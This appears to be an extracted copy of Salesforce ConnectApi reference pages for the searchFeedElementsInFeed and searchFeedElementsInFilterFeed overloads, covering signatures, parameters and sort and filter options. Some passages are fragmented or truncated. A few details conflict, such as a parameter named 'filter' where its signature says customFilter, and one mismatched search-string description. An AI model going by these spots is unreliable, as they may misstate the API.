- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

If you pass in null, the default value CreatedDateDesc is used.
q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

Yes

Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFeed(String communityId, ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.
**feedType**
Type: `ConnectApi.FeedType`

The type of feed. Valid values are `Company`, `DirectMessageModeration`, `Home`, `Moderation`, and `PendingReview`.

**recentCommentCount**
Type: `Integer`

Maximum number of comments to return with each feed element. The default value is 3.

**density**
Type: `ConnectApi.FeedDensity`

Specify the amount of content in a feed.

- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**
Type: `String`

The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

**pageSize**
Type: `Integer`

Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**sortParam**
Type: `ConnectApi.FeedSortOrder`

Values are:

- **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for `Home` feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
- **Relevance**—Sorts by most relevant content. This sort order is available only for `Company`, `Home`, and `Topics` feeds.

If you pass in `null`, the default value `CreatedDateDesc` is used.

**q**
Type: `String`

Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See `Wildcards`.

Return Value
Type: `ConnectApi.FeedElementPage`
Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

`searchFeedElementsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q, filter)`

Get a page of sorted and filtered feed elements from the Home feed that match the search criteria. Each feed element includes no more than the specified number of comments.

API Version

32.0

Available to Guest Users

32.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.FeedElementPage searchFeedElementsInFeed(String communityId, 
                      ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density, 
                      String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q, 
                      ConnectApi.FeedFilter filter)
```

Parameters

- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, internal, or `null`.

- `feedType`
  Type: `ConnectApi.FeedType`
  The type of feed. The only valid value is `Home`.

- `recentCommentCount`
  Type: `Integer`
  Maximum number of comments to return with each feed element. The default value is 3.

- `density`
  Type: `ConnectApi.FeedDensity`
Specify the amount of content in a feed.

- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**

Type: `String`

The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

When the `sortParam` is `MostViewed`, you must pass in `null` for the `pageParam`.

**pageSize**

Type: `Integer`

Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

When the `sortParam` is `MostViewed`, the `pageSize` must be a value from 1 to 25.

**sortParam**

Type: `ConnectApi.FeedSortOrder`

Values are:

- **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for Home feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
- **Relevance**—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

If you pass in `null`, the default value `CreatedDateDesc` is used.

**q**

Type: `String`

Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

**filter**

Type: `ConnectApi.FeedFilter`

Specifies the feed filters.

- **AllQuestions**—Feed elements that are questions.
- **AuthoredBy**—Feed elements authored by the user profile owner. This value is valid only for the `UserProfile` feed.
- **CommunityScoped**—Feed elements that are scoped to Experience Cloud sites. Currently, these feed elements have a User or a Group parent record. However, other parent record types could be scoped to sites in the future. Feed elements that are always visible in all sites are filtered out. This value is valid only for the `UserProfile` feed.
- **QuestionsWithCandidateAnswers**—Feed elements that are questions that have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.
• QuestionsWithCandidateAnswersReviewedPublished—Feed elements that are questions that have candidate answers that have been reviewed or published. This value is valid only for users with the Access Einstein-Generated Answers permission.

• Read—Feed elements that are older than 30 days or are marked as read for the context user. Includes existing feed elements when the context user joined the group. This value is valid only for the Record feed of a group.

• SolvedQuestions—Feed elements that are questions and that have a best answer.

• UnansweredQuestions—Feed elements that are questions and that don’t have any answers.

• UnansweredQuestionsWithCandidateAnswers—Feed elements that are questions that don’t have answers but have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.

• Unread—Feed elements that are created in the past 30 days and aren’t marked as read for the context user. This value is valid only for the Record feed of a group.

• UnsolvedQuestions—Feed elements that are questions and that don’t have a best answer.

Return Value

Type: ConnectApi.FeedElementPage

Usage

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

setTestSearchFeedElementsInFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, q, filter, result)

Signature

public static ConnectApi.FeedElementPage searchFeedElementsInFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, String q)
Parameters

*communityId*
  
  Type: String
  
  Use the ID for an Experience Cloud site, internal, or null.

*feedType*
  
  Type: ConnectApi.FeedType
  
  The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter, Landing, and Streams.

*subjectId*
  
  Type: String
  
  If `feedType` is Record, `subjectId` can be any record ID, including a group ID. If `feedType` is Streams, `subjectId` must be a stream ID. If `feedType` is Topics, `subjectId` must be a topic ID. If `feedType` is UserProfile, `subjectId` can be any user ID. If the `feedType` is any other value, `subjectId` must be the ID of the context user or the alias me.

*q*
  
  Type: String
  
  Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value

Type: ConnectApi.FeedElementPage

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

  setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, q, result)

Testing ConnectApi Code

`searchFeedElementsInFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, q)`

Get a page of sorted feed elements from a feed for a record or user that match the search criteria.

Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter, Landing, and Streams.

subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
Type: ConnectApi.FeedSortOrder
Order of feed items in the feed.
• CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
• CreatedDateDesc—Sorts by most recent creation date.
• LastModifiedDateDesc—Sorts by most recent activity.
• MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
• Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.

q
Type: String
Search term. Searches keywords in the user or group name. A minimum of one character is required. This parameter does not support wildcards. This parameter is required.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, q, result)

Yes

Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter, Landing, and Streams.

**subjectId**
Type: String
If `feedType` is Record, `subjectId` can be any record ID, including a group ID. If `feedType` is Streams, `subjectId` must be a stream ID. If `feedType` is Topics, `subjectId` must be a topic ID. If `feedType` is UserProfile, `subjectId` can be any user ID. If the `feedType` is any other value, `subjectId` must be the ID of the context user or the alias `me`.

**recentCommentCount**
Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

**density**
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

**pageSize**
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**sortParam**
Type: ConnectApi.FeedSortOrder
Values are:
- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the `ConnectApi.FeedFilter` is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in `null`, the default value `CreatedDateDesc` is used.

**q**
Type: String
Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
Return Value

Type: `ConnectApi.FeedElementPage`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

Testing ConnectApi Code

```java
searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, filter)
```

Get a page of sorted and filtered feed elements from a `UserProfile` feed that match the search criteria.

API Version

35.0

Available to Guest Users

35.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.FeedElementPage searchFeedElementsInFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedFilter filter)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, internal, or `null`.
- `feedType`
  - Type: `ConnectApi.FeedType`
  - Value must be `ConnectApi.FeedType.UserProfile`.
- `subjectId`
  - Type: `String`
recentCommentCount
Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
Type: ConnectApi.FeedSortOrder
Values are:
- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
If you pass in null, the default value CreatedDateDesc is used.

q
Type: String
One or more keywords to search for in the feed elements visible to the context user. The search string can contain wildcards and must contain at least two characters that aren’t wildcards. See Wildcards.

filter
Type: ConnectApi.FeedFilter
Value must be ConnectApi.FeedFilter.CommunityScoped. Filters the feed to include only feed elements that are scoped to Experience Cloud sites. Feed elements that are always visible in all sites are filtered out.

Return Value
Type: ConnectApi.FeedElementPage
Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q, String customFilter)
```

Parameters
- `communityId`
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.
- `feedType`
  Type: ConnectApi.FeedType
  Value must be ConnectApi.FeedType.Record.
- `subjectId`
  Type: String
  The ID of a case.
- `recentCommentCount`
  Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.

- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
Type: ConnectApi.FeedSortOrder
Values are:

- CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- CreatedDateDesc—Sorts by most recent creation date.
- LastModifiedDateDesc—Sorts by most recent activity.
- MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

If you pass in null, the default value CreatedDateDesc is used.

q
Type: String
One or more keywords to search for in the feed elements visible to the context user. The search string can contain wildcards and must contain at least two characters that aren’t wildcards. See Wildcards.

customFilter
Type: String
Custom filter that applies only to the case feed. See customFeedFilter in the Metadata API Developer Guide for supported values.

Return Value
Type: ConnectApi.FeedElementPage
Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

**Signature**

```java
public static ConnectApi.FeedElementPage searchFeedElementsInFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q, Boolean showInternalOnly)
```

**Parameters**

- `communityId`
  - **Type:** `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- `feedType`
  - **Type:** `ConnectApi.FeedType`
  - Value must be `ConnectApi.FeedType.Record`.

- `subjectId`
  - **Type:** `String`
  - Any record ID, including a group ID.
recentCommentCount
Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

sortParam
Type: ConnectApi.FeedSortOrder
Values are:
- **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for `Home` feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
- **Relevance**—Sorts by most relevant content. This sort order is available only for `Company`, `Home`, and `Topics` feeds.
If you pass in `null`, the default value `CreatedDateDesc` is used.

q
Type: String
Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See `Wildcards`.

showInternalOnly
Type: Boolean
Specifies whether to show only feed elements from internal (non-Experience Cloud site) users (`true`), or not (`false`). The default value is `false`.

**Return Value**
Type: ConnectApi.FeedElementPage
Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

```java
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, showInternalOnly, result)
```

Testing ConnectApi Code

```java
searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, showInternalOnly, filter)
```

Get a page of sorted and filtered feed elements from a feed for a record or user that match the search criteria. Each feed element includes no more than the specified number of comments. Specify whether to return feed elements posted by internal (non-Experience Cloud site) users only.

API Version

32.0

Available to Guest Users

32.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.FeedElementPage searchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q, Boolean showInternalOnly,
ConnectApi.FeedFilter filter)
```

Parameters

- `communityId`
  - Type: `String`
  - Use the ID for an Experience Cloud site, `internal`, or `null`.

- `feedType`
  - Type: `ConnectApi.FeedType`
  - Value must be `ConnectApi.FeedType.Record`.

- `subjectId`
  - Type: `String`
  - Any record ID, including a group ID.
recentCommentCount
Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
Type: ConnectApi.FeedSortOrder
Values are:
- **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- **Relevance**—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

If you pass in null, the default value CreatedDateDesc is used.

q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

showInternalOnly
Type: Boolean
Specifies whether to show only feed elements from internal (non-Experience Cloud site) users (true), or not (false). The default value is false.

filter
Type: ConnectApi.FeedFilter
Specifies the feed filters.
- **AllQuestions**—Feed elements that are questions.
- **AuthoredBy**—Feed elements authored by the user profile owner. This value is valid only for the UserProfile feed.
- CommunityScoped—Feed elements that are scoped to Experience Cloud sites. Currently, these feed elements have a User or a Group parent record. However, other parent record types could be scoped to sites in the future. Feed elements that are always visible in all sites are filtered out. This value is valid only for the UserProfile feed.
- QuestionsWithCandidateAnswers—Feed elements that are questions that have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.
- QuestionsWithCandidateAnswersReviewedPublished—Feed elements that are questions that have candidate answers that have been reviewed or published. This value is valid only for users with the Access Einstein-Generated Answers permission.
- Read—Feed elements that are older than 30 days or are marked as read for the context user. Includes existing feed elements when the context user joined the group. This value is valid only for the Record feed of a group.
- SolvedQuestions—Feed elements that are questions and that have a best answer.
- UnansweredQuestions—Feed elements that are questions and that don’t have any answers.
- UnansweredQuestionsWithCandidateAnswers—Feed elements that are questions that don’t have answers but have candidate answers associated with them. This value is valid only for users with the Access Einstein-Generated Answers permission.
- Unread—Feed elements that are created in the past 30 days and aren’t marked as read for the context user. This value is valid only for the Record feed of a group.
- UnsolvedQuestions—Feed elements that are questions and that don’t have a best answer.

Return Value

Type: `ConnectApi.FeedElementPage`

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

- `setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, showInternalOnly, filter, result)`
- `Testing ConnectApi Code`

`searchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, showInternalOnly, customFilter)`

Get a page of sorted and filtered feed elements from a case feed that match the search criteria.
Requires Chatter
Yes

Signature
public static ConnectApi.FeedElementPage searchFeedElementsInFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q, Boolean showInternalOnly, String
customFilter)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
Value must be ConnectApi.FeedType.Record.

subjectId
Type: String
The ID of a case.

recentCommentCount
Type: Integer
Maximum number of comments to return with each feed element. The default value is 3.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
• AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
• FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
Type: ConnectApi.FeedSortOrder
Values are:
• **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
• **CreatedDateDesc**—Sorts by most recent creation date.
• **LastModifiedDateDesc**—Sorts by most recent activity.
• **MostViewed**—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
• **Relevance**—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

If you pass in `null`, the default value CreatedDateDesc is used.

**q**

Type: **String**

Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

**showInternalOnly**

Type: **Boolean**

Specifies whether to show only feed elements from internal (non-Experience Cloud site) users (`true`), or not (`false`). The default value is `false`.

**filter**

Type: **String**

Custom filter that applies only to the case feed. See customFeedFilter in the Metadata API Developer Guide for supported values.

Return Value

Type: **ConnectApi.FeedElementPage**

Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

```java
setTestSearchFeedElementsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, showInternalOnly, customFilter, result)
```

Testing ConnectApi Code

**searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, q)**

Get the feed elements from a feed filtered by a key prefix that match the search criteria.

**API Version**

31.0

**Requires Chatter**

Yes
public static ConnectApi.FeedElementPage searchFeedElementsInFilterFeed(String communityId, String subjectId, String keyPrefix, String q)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

subjectId
Type: String
The ID of the context user or the alias me.

keyPrefix
Type: String
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

q
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

Return Value
Type: ConnectApi.FeedElementPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:
setTestSearchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, q, result)
Testing ConnectApi Code

searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, q)
Get a page of sorted feed elements from a feed filtered by a key prefix that match the search criteria.

API Version
31.0

Requires Chatter
Yes
Signature

```java
public static ConnectApi.FeedElementPage searchFeedElementsInFilterFeed(String communityId, String subjectId, String keyPrefix, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q)
```

Parameters

**communityId**
Type: **String**
Use the ID for an Experience Cloud site, internal, or **null**.

**subjectId**
Type: **String**
The ID of the context user or the alias **me**.

**keyPrefix**
Type: **String**
A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

**pageParam**
Type: **String**
The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in **null**, the first page is returned.

**pageSize**
Type: **Integer**
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in **null**, the default size is 25.

**sortParam**
Type: **ConnectApi.FeedSortOrder**
Values are:
- **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for Home feeds when the `ConnectApi.FeedFilter` is **UnansweredQuestions**.
- **Relevance**—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.

If you pass in **null**, the default value `CreatedDateDesc` is used.

**q**
Type: **String**
Required and cannot be **null**. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See **Wildcards**.

Return Value

Type: **ConnectApi.FeedElementPage**
Usage

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

SEE ALSO:

```java

```

Testing ConnectApi Code

```java
searchFeedElementsInFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam, q)
```

Get a page of sorted feed elements from a feed filtered by a key prefix that match the search criteria. Each feed element includes no more than the specified number of comments.

API Version

31.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.FeedElementPage searchFeedElementsInFilterFeed(String communityId, String subjectId, String keyPrefix, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam, String q)
```

Parameters

**communityId**

Type: `String`

Use the ID for an Experience Cloud site, `internal`, or `null`.

**subjectId**

Type: `String`

The ID of the context user or the alias `me`.

**keyPrefix**

Type: `String`

A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, `User` objects have a prefix of `005` and `Group` objects have a prefix of `0F9`.

**recentCommentCount**

Type: `Integer`

Maximum number of comments to return with each feed element. The default value is 3.

**density**

Type: `ConnectApi.FeedDensity`
Specify the amount of content in a feed.

- **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**

Type: **String**

The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

**pageSize**

Type: **Integer**

Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**sortParam**

Type: **ConnectApi.FeedSortOrder**

Values are:

- **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for `Home` feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.
- **Relevance**—Sorts by most relevant content. This sort order is available only for `Company`, `Home`, and `Topics` feeds.

If you pass in `null`, the default value `CreatedDateDesc` is used.

**q**

Type: **String**

Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See *Wildcards*.

**Return Value**

Type: **ConnectApi.FeedElementPage**

**Usage**

To test code that uses this method, use the matching set test method (prefix the method name with `setTest`). Use the set test method with the same parameters or the code throws an exception.

**SEE ALSO:**

